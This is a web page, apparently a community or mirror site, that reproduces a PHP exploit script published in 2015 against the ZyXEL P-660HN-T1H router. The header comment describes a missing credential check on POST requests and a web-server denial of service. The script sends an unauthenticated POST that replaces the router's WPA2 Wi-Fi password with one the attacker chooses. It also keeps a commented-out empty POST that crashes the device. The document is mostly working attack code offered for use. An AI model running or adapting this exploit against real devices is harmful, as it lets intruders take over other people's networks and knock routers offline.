Search the Community

<?php /* Exploit Title : ZYXEL remote configuration editor / Web Server DoS Date : 23 April 2015 Exploit Author : Koorosh Ghorbani Site : http://8thbit.net/ Vendor Homepage : http://www.zyxel.com/ Platform : Hardware Tested On : ZyXEL P-660HN-T1H_IPv6 Firmware Version: 1.02(VLU.0) -------------------------- Unattended remote access -------------------------- ZYXEL Embedded Software does not check Cookies And Credentials on POST method so attackers could changes settings and view pages with post method . -------------------------- DoS Web Server -------------------------- sending empty Post to admin pages will crash internal web server and router needs to hard reset . */ $banner = " ___ _______ _ ____ _ _______ \r\n" . " / _ \__ __| | | _ \(_)__ __|\r\n" ." | (_) | | | | |__ | |_) |_ | | \r\n" ." > _ < | | | '_ \| _ <| | | | \r\n" ." | (_) | | | | | | | |_) | | | | \r\n" ." \___/ |_| |_| |_|____/|_| |_| \r\n" ." \r\n" ." \r\n"; print $banner; function Post($packet,$host) { try { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $host); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $packet); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0"); curl_setopt($curl, CURLOPT_REFERER, "Referer: http://192.168.1.1/cgi-bin/WLAN_General.asp"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curl); curl_close($curl); return $result; }catch (Exception $e ){ echo $e->getMessage(); return "" ; } } if(sizeof($argv) < 3) { print "Usage : $argv[0] 192.168.1.1 NewWifiPassword\n"; exit(1); } $host = $argv[1]; $password = urlencode($argv[2]); $packet= "access=0&DoScan=0&ChannelDoScan=0&WlanQosFlag=0&HtExtcha=0&IsPtGui=0&SecurityIndexOriginal=3&EnableWLAN=on&SSID_INDEX=0&EnableWLanFlag=1&CountryRegion=1&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&Countries_Channels=IRAN&Channel_ID=11&HideSsidFlag=0&WPACompatileFlag=WPA2PSK&EncrypType=TKIPAES&PreSecurity_Sel=WPA2PSK&Security_Sel=WPA2PSK&WLANCfgPphrase=&WEP_Key1=&DefWEPKey=1&WLANCfgPSK=$password&WLANCfgAuthenTimeout=1800&WLANCfgIdleTimeout=3600&WLANCfgWPATimer=1800&WLANCfgRadiusServerAddr=0.0.0.0&WLANCfgRadiusServerPort=1812&WLANCfgRadiusServerKey=&Qos_Sel=None&doSubmitFlag=0" ; $target = "http://$host/cgi-bin/WLAN_General.asp"; if(strlen(Post($packet,$target)) > 0){ print "Seems Changed !"; }else{ print "Humm , No Chance !"; } //DoS : Post("",$target) ; ?> Source: http://packetstorm.wowhacker.com/1504-exploits/zyxel-dos.txt